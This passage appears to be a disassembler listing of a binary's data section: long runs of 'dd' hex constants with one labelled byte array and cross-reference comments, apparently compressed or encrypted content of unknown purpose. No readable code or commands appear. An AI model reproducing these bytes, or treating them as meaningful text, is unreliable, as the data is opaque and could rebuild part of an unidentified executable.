		dd 4ED931C1h, 64F07DB5h, 4080006Dh, 73087163h, 0A4E08EFDh
		dd 5CC96A28h, 0DF926105h, 0B805C36Ch, 0C772FEh,	10AFB13h
		dd 5DC7F120h, 7312DE77h, 29BB00B0h, 0F524932Bh,	157103FAh
		dd 763D5AFCh, 6413C100h, 4F2AD0C5h, 3B03058Dh, 89F9C658h
		dd 0F689C4B8h, 11642330h, 0A0D563h, 0B37B5B26h,	6585F87h
		dd 106D9C0Ch, 356D982h,	187BA29Bh, 0EEB0B821h, 0F00E173Ch
		dd 40DC0CFBh, 77BB74EBh, 125DFC44h, 9403C628h, 5924C0A0h
		dd 0B70B91F2h, 0A15B6756h, 6A7139E0h, 3A805807h, 0C9907ED1h
		dd 76B50049h, 2D188919h, 0CDF6722Ch, 0A39EB206h, 3E30732Ah
		dd 0FB12A4BBh, 115022D2h, 0A600EC64h, 2F0992E6h, 1DAF0EAh
		dd 65D405FFh, 0DD8D754Eh, 261430BFh, 27876600h,	8AAE1562h
		dd 24AF0005h, 7B608D57h, 50B5EDC4h, 40144A51h, 0B6589A70h
		dd 0E00FDF9Eh, 80B23DD8h, 95C84EFFh, 1BB50008h,	394F367Dh
		dd 2EC06E17h, 3B7F7659h, 88961F19h, 0E7634130h,	0D04C922Dh
		dd 1D0079FAh, 964E5AE4h, 7E5DC642h, 8D3F0084h, 18A7C410h
		dd 393A12B5h, 8034CC31h, 34D85C65h, 8C630008h, 9A1262EDh
		dd 0F00AEF6h, 5C48B34Dh, 899310h, 1AEDAC46h, 91057FF4h
		dd 426DF61Fh, 0B7E53040h, 559444A6h, 0EF4D45Eh,	0BB143589h
		dd 751B8278h, 407FB441h, 2483BE0h, 74D39309h, 0F4C824AAh
		dd 0B8A164B4h, 0ABE9031Ch, 0C1075762h, 2073F9C1h, 0F58964ACh
		dd 42006429h, 55B8FE76h, 0BA043EA6h, 2163B433h,	0F3D29CC0h
		dd 61C8400Bh, 0F4034202h, 484E50E9h, 19BFCB0h, 96A68E74h
		dd 0D03692ECh, 0A4B144C3h, 5B0F679Ch, 9B058016h, 723A8h
		dd 3513AE78h, 2ACFAC8h,	8C0819D3h, 8422946Ah, 77411F80h
		dd 9B004E29h, 367F19FCh, 27CA4E0h, 0A04A175h, 7868A7B2h
		dd 110008F9h, 0ED20F389h, 2C8A4FFBh, 114675Eh, 36E18892h
		dd 1D42D659h, 64036CE4h, 0C6B11589h, 0E0F3C80Ah, 5AF91C39h
		dd 329BD69Fh, 7C721180h, 0A7B60C00h, 311B8708h,	6377018Eh
		dd 0C733F1C3h, 0C80203B4h, 0B1B8C654h, 0E877097Ch, 18335C13h
		dd 0C478E166h
		dd 0CE005CB2h, 0BA2E2397h, 9409C1FDh
		db 0C0h
byte_530055	db 49h,	69h, 24h	; DATA XREF: ___:off_42CC84o
					; ___:off_42CC9Co
		dd 634070CCh, 35EDEEB2h, 0DCE0C701h, 97A346F1h,	0B922A430h
		dd 12B80014h, 0B2F4A0FEh, 90EB8200h, 153B9305h,	0C8895027h
		dd 0E40752E9h, 0ACF0380Ch, 0F6258861h, 0A504109Bh, 9C0500C2h
		dd 4FB809BFh, 0FF00E3B5h, 40628C48h, 3C937644h,	0B1274D31h
		dd 7A232C20h, 1E2E910Dh, 0C2877BBh, 6912AF78h, 28421FF0h
		dd 64095C68h, 0AD0F0494h, 8046E6A5h, 910BF470h,	0AC058C90h
		dd 6E1BAEA6h, 4C04CCC8h, 0F11F842Bh, 201C6557h,	693E3E78h
		dd 0C78080D7h, 5B94FD2Fh, 2C2348C0h, 0CC10C180h, 3A014FEDh
		dd 894AE2CBh, 187223FEh, 47C7D500h, 8C9C480Dh, 2ECF5C00h
		dd 3AE88D41h, 7C8F26B2h, 83F100F4h, 0ED853FA8h,	0C26F7F00h
		dd 0FE9CE369h, 0FC1F72ECh, 25B0C8h, 855F4AF2h, 607596AEh
		dd 58984029h, 0FB032E2Ch, 80196281h, 2FEC141h, 2279869Eh
		dd 98443007h, 1169D481h, 0EDD1C965h, 1DBFBC30h,	403BE43Ch
		dd 527F4839h, 507DF187h, 0D6807491h, 65B7A74h, 0AE8609Eh
		dd 0EACDE6Dh, 0CE03CB04h, 8881AE9h, 74F522FAh, 5DDFDB00h
		dd 0AE2FF16Eh, 16992542h, 0F5B0AC10h, 88E1F200h, 8D9C24BCh
		dd 8FE20020h, 47172344h, 4C99DE3Ah, 0B0E1D38Dh,	8894C5E2h
		dd 9A44C81Ch, 0DDAA60C0h, 85EAB6h, 0F9933386h, 9FC1D7FBh
		dd 0EC547100h, 0D896384Ch, 0C763065Dh, 1131E4E9h, 0BECFFB18h
		dd 0A386429h, 6E9DA03h,	0C4C19070h, 770EAE3Fh, 8904789Eh
		dd 85DF963Eh, 0CA301390h, 7C6B3BD8h, 0F2001979h, 0AB0F5E5Ah
		dd 9453AEDCh, 92220CC4h, 0C0018DD9h, 0ACA7857h,	0E0FF93A0h
		dd 24417A96h, 60481952h, 630A8F2Eh, 4FD79C00h, 40721B15h
		dd 749A12F5h, 21A00694h, 0AE889DCh, 4469BB05h, 0F021C931h
		dd 219E1411h, 0A6BD4087h, 193780B8h, 0D24BA409h, 9CA80089h
		dd 5CF0A9E8h, 5300944Dh, 0D962BDC8h, 0F409A5A4h, 2B11880h
		dd 0E0E067D6h, 1748FAh,	624561BFh, 6C42724Bh, 0BBC95505h
		dd 0F898A574h, 231C0060h, 3B6C4C95h, 0C50CC745h, 0F07415CEh
		dd 4F1483Ah, 0C07E6D87h, 0BAF29448h, 70A5AC2Ch,	9004C685h
		dd 0B4DCFCC8h, 0F6694ECCh, 0FB4C7C10h, 0F93FC00Eh, 0DF7782FDh
		dd 84D091C5h, 4132B210h, 0CD722200h, 6DD44631h,	9274EEA5h
		dd 77DE75A4h, 0EC7A5C41h, 805EF784h, 0B029CD30h, 0AFAE1E04h
		dd 0D4C8B6C3h, 3389784Bh, 0F51162D0h, 0DA44F0FCh, 8F01C1E8h
		dd 0FD575B39h, 78FD5E04h, 26814270h, 40780D59h,	3CDE23DCh
		dd 0C32F9CAEh, 1270115Eh, 1384910Ch, 618015ACh,	4427ED98h
		dd 43C0CD2Ch, 0D0B2615Ch, 4A7CE8E4h, 7799C200h,	0BB9B060Bh
		dd 6C882545h, 6BA7B0A7h, 65284018h, 0B5009EFEh,	13FB023Ch
		dd 0B0809219h, 47C30CB0h, 75286756h, 2B4CDE5Ch,	13094CA5h
		dd 8AE40120h, 0F8228D54h, 16157F02h, 62123B5Bh,	0D0602F60h
		dd 0C8FAC417h, 94B60734h, 85AC9885h, 3699820h, 583A01E5h
		dd 0C3760E92h, 22FC4846h, 3AE03C4Dh, 0A9DA006Bh, 1CB46455h
		dd 1896F841h, 4986DE6Ah, 61C0C711h, 0E997C14Eh,	2439F8E1h
		dd 8C48374Fh, 33107A98h, 8801D8ACh, 386708C3h, 3C423E8Fh
		dd 6992203Ah, 0FD00A79Fh, 739B35AFh, 1E020BB3h,	24F5EF7Bh
		dd 0F4AC601Ch, 7600C929h, 8ED187F8h, 231A5E0h, 4A54B225h
		dd 4920C511h, 0B1FDAF6h, 0E6EE6692h, 657E4881h,	11EAF315h
		dd 302C5C72h, 5D00D5E2h, 808A2995h, 0F6D73DDDh,	8678592h
		dd 22927380h, 0AC5C0490h, 3B3A0088h, 7E894716h,	0AF029E4Eh
		dd 0AE5573CDh, 214EC22h, 0E6F2D275h, 0A8725B36h, 0D40060B3h
		dd 0BBA31AAFh, 4CBC0470h, 183A71CFh, 308E7921h,	25390C26h
		dd 1A006DBEh, 1134C337h, 0AD2D18h, 954C520Ah, 38D390CBh
		dd 405F2B35h, 6DBA4004h, 0D410220Bh, 4100FF02h,	0E20FBC71h
		dd 2D78188h, 20ABF35Eh,	0D0D1506Bh, 4AAD0402h, 26DD80DDh
		dd 0C72D11h, 137EC51h, 90C631F6h, 0DE42249Eh, 0FE961069h
		dd 0B0E4D1Fh, 0FB2E7F07h, 7861BCC2h, 0E24A674h,	0E7ACCF6Eh
		dd 5ED1F5A3h, 0C3982107h, 508DBDFBh, 0F400E463h, 0F85DEF53h
		dd 21041F6Eh, 87DF471Bh, 12748813h, 88316061h, 0DC289C9Ah
		dd 41A50581h, 4C25E0EDh, 0FB0A1B7Dh, 185E1269h,	1160C82Ch
		dd 1F8635AAh, 2D89718Ah, 653C88A0h, 1F00121Ch, 0D131A357h
		dd 0FCFFE7A8h, 0ACF504E4h, 805A5D59h, 46387D84h, 34E41CA2h
		dd 6EF4CC00h, 9D7D633Bh, 0DD8D0B5Dh, 20C84FD6h,	5C005914h
		dd 16851BF2h, 7BDD4DEFh, 4F8A00AEh, 63EBD20Bh, 0D92CC768h
		dd 1E00C987h, 7BEE6136h, 0F99B0092h, 0FBBB4B1Fh, 8100AE78h
		dd 9E694418h, 0E946A1h,	729FC5C3h, 197EF034h, 89BE12Ch
		dd 3458D826h, 0E09C3D5Fh, 37B6D480h, 44B23652h,	0EA450300h
		dd 171574C0h, 4054B439h, 9B0E16C2h, 434FFC00h, 1EA9F270h
		dd 8AC101F5h, 0DED1E5F6h, 0A2F0447Ch, 0AEE2000Ch, 0CE4BC221h
		dd 57B0074Fh, 0CCE5D519h, 24489621h, 0D03180BCh, 661A6Eh
		dd 8DFBEB8Ah, 18965ADh,	69169C09h, 0D859EDh, 20DA2CD7h
		dd 9845231Ah, 0E529E0h,	0C7CFDBE7h, 448990A2h, 4182AA00h
		dd 0A876DF5Fh, 785B00A5h, 6D1EC591h, 4E00FABEh,	7B441F15h
		dd 1E1206A0h, 0C0994573h, 2B58BB9Ah, 77983C93h,	5485AB2Eh
		dd 3666A81h, 0C0E27973h, 10B36FCh, 0CCEC60F7h, 61998E72h
		dd 4549D4A5h, 0EAF91B01h, 3E01C665h, 80F3A444h,	173D4000h
		dd 0B410660Fh, 7377FD03h, 0B82C2EECh, 26334A83h, 77C23Ah
		dd 0E24282DAh, 5D139BD3h, 0C90B429h, 4359EFh, 56429D31h
		dd 0B520F3C4h, 40832B05h, 88C1872Ah, 0B88B94ECh, 0E4E45C38h
		dd 92EB4600h, 36781525h, 979F2503h, 0DA0058C4h,	0F5DC3767h
		dd 178F5B44h, 452850h, 0F6F89E08h, 70074C1h, 0FD139C99h
		dd 7E9302C7h, 963F3854h, 7C20B32Fh, 9D17FF2Fh, 0EF3EEB00h
		dd 0C88421E1h, 0C913085Ch, 64245F89h, 3867020Bh, 0AB101Ch
		dd 98AF7FCDh, 2EA8E535h, 75EEED02h, 0E4A26E22h,	9CBCB244h
		dd 5F184208h, 38EBB0A0h, 2800EDF0h, 874DAA16h, 24C96919h
		dd 8124D6B7h, 684E8BD8h, 80386875h, 0B220FE6Dh,	0E6C7003Fh
		dd 0F49E8073h, 0A609B89Dh, 50B1CF4Bh, 92589EDCh, 0B7CA34Ah
		dd 0E80EAE04h, 79697548h, 874E1F1Ah, 0EC92D7h, 73DA18A0h
		dd 5C00685Dh, 45D02407h, 0CF96D6Bh, 0E7376F5Ah,	617A2810h
		dd 0AF3E9C0Fh, 0B94402Eh, 0ED747Dh, 0DD9D4C0Eh,	922419A9h
		dd 0FE51E916h, 0ACDF05FEh, 8EA8C3EDh, 736541C8h, 850F29F0h
		dd 0B28F3319h, 0E64C24C0h, 3C1158E8h, 4040358Fh, 0D1377E0Eh
		dd 0A87FECFFh, 0C1699600h, 0A2FC6C08h, 0E1B70942h, 0C0E4BA90h
		dd 0F9C0B47Eh, 0B9FF9C7Bh, 39011DF9h, 0F0C880C2h, 0DD5ED5E6h
		dd 2876962Ch, 81848908h, 0C5012399h, 4DE448FAh,	0FFD6F112h
		dd 13D27FF0h, 47701A22h, 72245CFCh, 0BC808C74h,	573C5B0Eh
		dd 0F8CF11CAh, 0DF376840h, 0E3650B4Fh, 8484D6D1h, 0EBDE4044h
		dd 5670DB2h, 0CEC66DF4h, 456890D1h, 80003E4Dh, 82DDABD4h
		dd 9DE96Eh, 62E1093Ah, 0B34BC6D9h, 189ED130h, 0E5AC79h
		dd 934003F9h, 8C468891h, 0FCD24700h, 2579DCC5h,	0CEC32E89h
		dd 87F543ECh, 12C4A100h, 784A602Ah, 0C5F809EAh,	0BC80D00Bh
		dd 776D302Eh, 0ED00A873h, 9C51410Fh, 3E1D1AF6h,	313FE949h
		dd 0FBA05581h, 60751FD3h, 0C32EF1AEh, 44001895h, 354AED9Ah
		dd 8B8100E8h, 84F9B3D8h, 150B9B3Fh, 0C016B726h,	8463CF24h
		dd 44DF073Ah, 75398883h
		dd 0AAA4AE04h, 0B0C1415Ch, 4053C88h, 46508D74h,	0F149F638h
		dd 4CDDA060h, 9B00908Fh, 6B52EC46h, 54780B77h, 0FC1FBB79h
		dd 41D369Ah, 2B11133Fh,	6EA4D8A0h, 16A05018h, 306F196h
		dd 0FBED9C02h, 8011CEE5h, 0E3EB6250h, 524E00FEh, 4D440DB4h
		dd 9A4B39DEh, 4150C8h, 0E9CB8CE6h, 14C81BCEh, 0AAF9E805h
		dd 3B82B401h, 98386224h, 7E4AE0h, 0FE78F847h, 6193421Ah
		dd 3795C800h, 7A6314C6h, 0E6E12896h, 0FED20508h, 225FB6C4h
		dd 0A3216EECh, 97C4DFDBh, 0BEF80002h, 0D82AB17Eh, 0CB0110DEh
		dd 3BBD86B0h, 982339AAh, 9598F600h, 510A739Ah, 1D9DC200h
		dd 6F7C83A6h, 0F21225DCh, 0D048C441h, 3A00700Bh, 0B5571AADh
		dd 5069894Ch, 417DE042h, 3DEC027Ah, 5B0030C5h, 7AC9B29Ch
		dd 9E80061h, 0EB91D862h, 0A74E4EF1h, 4FD11080h,	48D96273h
		dd 7C5C90C3h, 9815388Bh, 76FB309Ch, 0A871F5B7h,	598923CAh
		dd 0E00CAAF1h, 0F5187735h, 0F9907B64h, 7A9C0104h, 0AF4D0947h
		dd 0D9A981D7h, 0D0076102h, 119DE03Ch, 0C3880972h, 400892CFh
		dd 9EA2CB61h, 6922811Ch, 39F5724Bh, 56A50008h, 7B6B88CAh
		dd 25749362h, 3700E8C4h, 13A4F31Eh, 264F0769h, 26303D3Fh
		dd 0DCC06034h, 330F1249h, 0FCBB170h, 66B60076h,	0C79EE52h
		dd 5DDFEA26h, 0FC00DEB1h, 57AE3FEBh, 78BA4EEDh,	89D40023h
		dd 7B9C2D71h, 955C8C48h, 824317BCh, 70DBD4DCh, 7D8C0022h
		dd 0E2E83ADAh, 2902A49Ch, 94387B73h, 0E899243Fh, 24B2D28Ch
		dd 437A2500h, 0ACFB0BB2h, 4E865501h, 589B71F8h,	10338ECh
		dd 16A192D7h, 74D019C9h, 89C081C8h, 10D6BCDBh, 64FC0002h
		dd 4A53BE8Eh, 24004906h, 0B3FD0B20h, 7C7929A5h,	2B640075h
		dd 0F89D0E5h, 5C96A1CEh, 0A94E8E00h, 79B67C4Ch,	40F65AE6h
		dd 6526881Ch, 0FB00BD4Dh, 3359186Dh, 72699DFAh,	6EF625FCh
		dd 1084C411h, 3DAC1A5h,	92A946EAh, 89A8C73Ch, 0D6B017F9h
		dd 0B1557801h, 24D87249h, 0B4F51E0h, 73E5BF8Dh,	3ED9B080h
		dd 597588B3h, 0D4F11400h, 7C62A7F9h, 8921175Ah,	0ACC80291h
		dd 847224A4h, 1D82CB02h, 0A08C5343h, 6DB28F44h,	481B0131h
		dd 7792673Ah, 4B83DE8h,	5EF12498h, 93044200h, 1B4EF01Dh
		dd 592D840h, 0B42FDB49h, 0BE18289Ch, 6B153F2Ch,	0D4003467h
		dd 5874F10Dh, 0AA247296h, 3E01E8D2h, 2DC36E9Bh,	2ABCF104h
		dd 916BD020h, 92C74BDh,	0ED54BF3h, 0C3D38C90h, 3AEC2100h
		dd 0F1A937D8h, 38F50187h, 7E09E529h, 3C062EA3h,	0C08165AEh
		dd 5CC574Eh, 46002812h,	0BE04DE0Eh, 942D34Eh, 3C40C81Dh
		dd 7309B4E4h, 8214B74Dh, 1DC37F8h, 0F0E1DE88h, 80C8344h
		dd 283A6432h, 39616E94h, 3796A6A2h, 0F302F479h,	0C0DB8C4Ah
		dd 0C011DA0Ch, 500A8A19h, 4874D5EEh, 0B87A8C2Ch, 5AADE900h
		dd 0A68428h, 775E78FBh,	0AC69B8B2h, 903EA102h, 5C98EF5Dh
		dd 0BCC90900h, 7B8E7048h, 3FC568Ah, 23FD9BC4h, 0CC00B97Ch
		dd 0AD4F02FBh, 0E1AAACh, 0AFCE1F43h, 8C225216h,	0A023F627h
		dd 0A70383B8h, 0B6E012A8h, 70C027AEh, 789A90F2h, 0D8D35600h
		dd 0CA28FBCDh, 3AD898A1h, 0DD062AD4h, 0A024275Eh, 0F440C09Ch
		dd 4C47239Ch, 44CB498h,	363C8893h, 0B0D8EF00h, 0B9A08681h
		dd 178F837h, 7C72DAA7h,	0F6DE13D3h, 7F0054D1h, 0EDF0FC34h
		dd 91A82863h, 0F1DB45ACh, 94162A9Bh, 0ED242CCAh, 868E605Ch
		dd 0FB1CEC99h, 83FAE69Ah, 9B4C1E94h, 90849DC3h,	7CE0B5C4h
		dd 0FD0A8E25h, 2C507BF3h, 2088B117h, 575D40C7h,	654AAE00h
		dd 0AA8EED5Ch, 946B50BCh, 509C9C88h, 0B51C9B14h, 49845B34h
		dd 0D8DD5A92h, 8CD8402Ah, 0B62E2A6Fh, 1517CF7Bh, 4880AFDh
		dd 70BA0BF1h, 0E8EE4E8Ah, 65881175h, 0F090958Ah, 0C4B6E977h
		dd 0C3CA2C40h, 39B0655Bh, 50A299h, 91FF041Ah, 0AABAD1h
		dd 958EEBE8h, 5733A58Bh, 6187F230h, 636EECh, 72DDEDCh
		dd 0BDC2F0ADh, 12614C02h, 8952D1CEh, 40E4593Ch,	46CC8DC7h
		dd 92448F01h, 0C44AFD32h, 72A0F4D0h, 289B1D99h,	46BE8037h
		dd 273352E9h, 4DF835ECh, 0FD407C05h, 4B15492h, 887DB1D4h
		dd 1D00BD5Eh, 350CFE39h, 0FD32DA43h, 17ABDFE8h,	2D11209h
		dd 5BB01E1Dh, 6C601C7Eh, 0E4E0F9CFh, 0E5477FAh,	6B1A600Ah
		dd 0C410F88Bh, 0B6001CD0h, 115F3285h, 7C46C631h, 0C04CB465h
		dd 8DDC1EBBh, 7BFA6D00h, 0C6B958E1h, 0EA551E24h, 4D24329h
		dd 110005D9h, 0F697A263h, 75EFFBh, 898AF0F4h, 5961E47h
		dd 0DB1B933Ch, 3B929820h, 965CBE76h, 31E4C265h,	0B3402854h
		dd 0CB7ACEh, 94E9B196h,	2DF1DA66h, 43909300h, 0E139B3Ah
		dd 0B4049D3Fh, 0D478C7DCh, 29650FD6h, 3FC0F2B7h, 0DCD4F477h
		dd 108609A1h, 64C9A4C2h, 38718B78h, 609491E4h, 0C095408Fh
		dd 75821B1h, 431531B8h,	96F03C45h, 910978FEh, 916D86FAh
		dd 3F4F1A4h, 6988A0C8h,	0B660D3E4h, 0F3A200F8h,	0A806EC3Dh
		dd 74B82780h, 811E1C60h, 0CA806082h, 61608253h,	66246850h
		dd 1C2EAC4Fh, 8E9AEB80h, 1A8C5D6h, 0D440FF17h, 0DC61DDC2h
		dd 6713E61Ah, 3800F984h, 4AB47247h, 9AAE7EDFh, 0D87964C4h
		dd 0CEC644CAh, 8C81A0FCh, 34651745h, 0BF4FF6D8h, 0F085E45Dh
		dd 4CA283BBh, 25B6CB0Eh, 37ACF60h, 0B5F6D4h, 0E1C8B548h
		dd 46B4A83Fh, 0F3D288A6h, 93962Ch, 2D847BBEh, 0F8108514h
		dd 5C06B563h, 92BE21A4h, 12351151h, 66851A64h, 130E439h
		dd 3A054331h, 33089301h, 8C180004h, 0EA0FE721h,	34423F0Ch
		dd 52D69181h, 0FC4DB0FEh, 0A269430h, 1035ACE7h,	984098ACh
		dd 80448C7Bh, 770C98A1h, 6CE0C30Eh, 0E8DCFDC6h,	0F7478050h
		dd 0EE46DD4Ch, 0A44E50C2h, 0D9712215h, 1192300Eh, 0D81DB3E7h
		dd 0DA484B49h, 2FA71D44h, 8973805Ch, 5FB9CF57h,	0AE1A6491h
		dd 63C05E29h, 33E2F842h, 7A03FC7Eh, 2FD2F577h, 0F020B4A9h
		dd 848F12E6h, 9777CF1Fh, 8C4E340h, 1DB6469h, 0A1211A59h
		dd 0D4CF58C2h, 70C65F44h, 349A6F5h, 14F9B86Dh, 0A2C47209h
		dd 0B9480050h, 0CEE51F98h, 0BC6638C5h, 6396CD80h, 0B69ECCBDh
		dd 12174C0Ch, 0F0A1B929h, 924A0767h, 0ABB054D3h, 77518CC8h
		dd 20048282h, 0EAFDC0CBh, 0A1FCA0FAh, 534C44FEh, 1366A44h
		dd 6244597Dh, 0F89B3879h, 9C32A8EAh, 7E40B8BBh,	0C25CC048h
		dd 350279CDh, 0AA8BD323h, 910D982h, 1818724Eh, 37799419h
		dd 6BAD7501h, 9E7ABE86h, 0B8A42C0h, 9AF82BFAh, 9CA14450h
		dd 0DC101770h, 815E3F46h, 0DC3922h, 0AEA47744h,	747FD4h
		dd 0EABAB51Eh, 7BF8F4A6h, 8CBEF317h, 0F6888h, 0FA949914h
		dd 72DFF44Fh, 0EDDAA21Eh, 410B3600h, 71F62940h,	4B93001Ah
		dd 0A27CD149h, 600739Dh, 2210DC62h, 0A4A95FC3h,	90EE4A94h
		dd 0B51A7218h, 6EB00F00h, 305A2116h, 40409C74h,	0A3BD01F7h
		dd 0A85E9300h, 1E56E297h, 24449299h, 440C2B51h,	0B6A14034h
		dd 947359F9h, 3F915Ch, 0CF978E28h, 0E6997C5Ch, 497B0076h
		dd 165BF782h, 0AE0372D4h, 738DC40Bh, 0A888B593h, 13AA002Bh
		dd 0DD4084C0h, 13989C51h, 0FB36E21Fh, 33144825h, 0C8F8009Fh
		dd 0DCF404EDh, 9300C026h, 6E4602C9h, 91928689h,	1B0B3A90h
		dd 0EC902344h, 91023FCEh, 45B720E2h, 16F4F0BBh,	5078C938h
		dd 7D22A020h, 695DEDF8h, 42AD8844h, 0A06480F1h,	0BC620122h
		dd 0FCED4390h, 75C069CAh, 78009915h, 814B94DEh,	1FF23B2Ah
		dd 75585Fh, 48BA3F9Ch
		dd 42121AEAh, 481D520Dh, 0F1B00A5Dh, 0D1BE354h,	8FAB50B5h
		dd 0A919CEB8h, 47449008h, 524C78D1h, 2129AC91h,	865B0080h
		dd 971196EEh, 0F0D75616h, 0CFBD40Fh, 0F279D8ADh, 0C1FC12E4h
		dd 10905973h, 0D0407A24h, 0BC63E00Ah, 7522037Ch, 0EF3057DFh
		dd 5A6E0380h, 6391209Bh, 0E4D3F91Fh, 4DEA0661h,	309A7007h
		dd 0E24810B5h, 0C94105CCh, 0C03564B6h, 0A5307EDAh, 9F0D5900h
		dd 9E75637Fh, 6E420068h, 8EFD1B5Ch, 0ED7549E1h,	3C0385B0h
		dd 6FD17475h, 42887B61h, 9062222Ah, 288E459Ch, 0F81ED26Ch
		dd 1108E80Dh, 53804838h, 564E4415h, 46EA0504h, 3809B297h
		dd 0F892A4C6h, 41AF0530h, 74D76496h, 0C8863EEDh, 4608D05Eh
		dd 9CBC6D90h, 0E2C0F9C4h, 7FCA880Fh, 0C3743DB7h, 0A0F10780h
		dd 91F9FD5Ah, 7B0CD49h,	256FD859h, 6773EA0h, 0B171CB09h
		dd 0B90CF448h, 0F3C9473Fh, 9AC08491h, 20F81E6h,	561FEDEFh
		dd 7F024D45h, 923D11E2h, 78044CD9h, 0F444B035h,	3AFA2081h
		dd 105B896Ch, 1A0E551h,	0B6BE4802h, 2DE1B245h, 0B77A01F0h
		dd 0C7CAFBFEh, 42712834h, 4C662240h, 228020B4h,	0ED2BAA0h
		dd 35B62D01h, 0D17C4892h, 3E068EF8h, 15BE44E4h,	408823AEh
		dd 4F492658h, 62738100h, 36517B01h, 0DE070B30h,	0C02437Eh
		dd 3E245AFAh, 0C7D1C140h, 0AC0056DAh, 0DE01F455h, 708EE14Eh
		dd 0B81402C9h, 93CB3449h, 283A499h, 0F872EEh, 18A8BF37h
		dd 4BA9DBC8h, 858935Dh,	944CFE95h, 868CFCBCh, 27007E49h
		dd 0ABC4D86Fh, 0E40BECh, 0CDC33A8Ch, 0FEFB1B4Ch, 0A1016B00h
		dd 81E18870h, 1AE72EBh,	7F77BD10h, 0D0781306h, 0CA00E41Dh
		dd 0D0376494h, 34D60Ch,	35620353h, 0AD1DC22Fh, 0BE188100h
		dd 0D07847F4h, 0EBA2009Dh, 0A53D938Bh, 0B20071DCh, 4CBD1D80h
		dd 328F2BEh, 0EB487325h, 0B7C17077h, 68BF5Eh, 0DCFFECCBh
		dd 0BDA552h, 2833F4D1h,	0D6F3B181h, 598BC62h, 71CC2014h
		dd 12000323h, 6BF9D4CFh, 0F834FCEh, 82C68709h, 0FA2190A4h
		dd 4CBB3000h, 0FFA1D8h,	1841F430h, 2176BAACh, 0F870F600h
		dd 4A0C1E84h, 61DC787Fh, 0F1AEB19Eh, 0C2885721h, 0C80C745Eh
		dd 78F30F04h, 0F041FC2Fh, 801EC7E0h, 3CBFBA28h,	548F51h
		dd 96F44085h, 27ECF29Dh, 0A5531506h, 3D50E806h,	0E19EA91Dh
		dd 8F469FB1h, 879CC02Ch, 0F039FF1Eh, 3CF8716Ah,	0F04C6954h
		dd 9F976B40h, 497B8D43h, 1881F537h, 0DFDD0583h,	28A16090h
		dd 0AB167D31h, 4C56C7B4h, 0DDCB3131h, 800ECAB1h, 0A46111E1h
		dd 381296AFh, 3C819D41h, 6F8CD020h, 2CF088B3h, 60194530h
		dd 20DE3A20h, 0C1F2B107h, 0CF8370FFh, 7D4B095h,	9FF13A8Dh
		dd 74143D81h, 806FFC9Dh, 2AFE15B1h, 513E60Ah, 2E12BA30h
		dd 0C835C044h, 0A761DFEBh, 0BBE87029h, 0F09AF183h, 79051F84h
		dd 0C8DC501Eh, 2D954400h, 7E826CF3h, 5D65003Ah,	0E443F0EAh
		dd 37E1A10h, 22DC1C53h,	0E3CA244Bh, 0D8478030h,	0CC6063E8h
		dd 0FF69D000h, 0A2795808h, 1C94F4E2h, 398BF1Ah,	6C2EEABEh
		dd 65F4A100h, 9FF2EDBBh, 0E83C6168h, 7F5D42h, 7195ACh
		dd 17E6EB43h, 0BF19880Ah, 0C5EF8F00h, 0FA846E81h, 0B65E0706h
		dd 40A7D92Ah, 0BD30CE53h, 9A6211C0h, 0A1BF3Eh, 2FB0CAEh
		dd 282D1D9Fh, 75A39900h, 0E6BBD015h, 104D0043h,	6C3BC979h
		dd 40C7B78Ah, 5750DAACh, 7D7CADFh, 6A37C7EAh, 297D4345h
		dd 0EB03607Fh, 22A642FEh, 2A1000EAh, 98FF6A45h,	4314E56Bh
		dd 222C0F1Dh, 4BA00089h, 0D48533BDh, 0BE287144h, 5AE82805h
		dd 0C02270FCh, 129218E0h, 8A97D1CEh, 1F1D151Eh,	7099E6C1h
		dd 1443B0BDh, 0CF4CA404h, 0E441EFB8h, 1838FC03h, 31932161h
		dd 0D5046ECDh, 96B8B65Bh, 0F606DCC0h, 12D903E1h, 1329DF9Ch
		dd 9F410806h, 73413D15h, 8421022Ch, 0AF1D2418h,	21AD44A4h
		dd 1E11E70Dh, 84398036h, 0C3097E7Dh, 0F4C60E6Ch, 0E38CA439h
		dd 7A40E7A8h, 89D200C7h, 0EBB866CDh, 0D526A7D8h, 0C018974Bh
		dd 1799A51h, 0B272A209h, 0E8D26C1Ch, 0F030336Bh, 8A42E8AFh
		dd 0BEE680D8h, 0D99540h, 722BBA18h, 29432753h, 0AD508700h
		dd 733512EDh, 1434E28Fh, 0C899DFBDh, 3990C019h,	79ABEC6Dh
		dd 76233600h, 21DBC7B2h, 2DE9C3E9h, 0B0D70F7Ah,	0E1D497E0h
		dd 24D09C60h, 527E367Ch, 281088ECh, 0B83A8873h,	36CC613h
		dd 78ADD289h, 0E47026A8h, 8291F00h, 0C6FBF7Ah, 0A78CA1ECh
		dd 0C67DBEF4h, 0A19AC099h, 0ECCAE100h, 67FECD29h, 0F73402C6h
		dd 0C9BD64E2h, 0EFAF8C82h, 8A139811h, 28441BF2h, 4AC73900h
		dd 93612827h, 351E33C8h, 0C1906EA1h, 0AA988758h, 7014A90Eh
		dd 4535E0EBh, 3D80F1Bh,	3C9799FDh, 91399C57h, 9D7E8028h
		dd 36F22EF7h, 6C0148CCh, 8CA7AC4h, 80B4A1DFh, 9CCC48Ch
		dd 0B2C619Fh, 3B180AB3h, 736B39h, 0E3FC69Eh, 3D6F6546h
		dd 0CC83570Fh, 0BC5DE136h, 4A9E543h, 1FBD91B4h,	49F01FC7h
		dd 70E3DB8h, 0A27B241Ch, 0BDB581A8h, 0DC237Ch, 33082135h
		dd 3496C014h, 85195D3Ch, 43D80404h, 27920674h, 0D2A70A19h
		dd 1142FF9h, 0BFD1B0A8h, 8211808Bh, 0EC08C87Eh,	0C58E00CAh
		dd 0A0B1AF75h, 0F0445A7h, 608298D1h, 93ABE881h,	0AA403E08h
		dd 0FD101439h, 56005021h, 794AA6C2h, 81C3722Fh,	901F267Ah
		dd 7DA0FBA1h, 67470048h, 41EF03E9h, 0B80996C2h,	3E70B57h
		dd 0B713024h, 2B3A039h,	0BCADC480h, 1700C98Ch, 2E0F8D38h
		dd 0DCB52FEFh, 8E6C1F29h, 0CF8737DDh, 3A14720Dh, 4A3EC96h
		dd 81434E3h, 83C08F5Eh,	8896AAA9h, 0F0378A6Bh, 0F3BE0A84h
		dd 4A4DE02h, 22B911Ch, 2F93C170h, 0C400E8Ah, 0A169441Eh
		dd 0B223E700h, 43154B8Bh, 76F70E05h, 5EA3EDC9h,	86E029D1h
		dd 0A600AA75h, 0BD91C17Eh, 1DC8B96Dh, 0A643D36Fh, 0C0DA62F0h
		dd 0CA3003h, 80FC2B69h,	70C1127Eh, 0FF300362h, 25530F76h
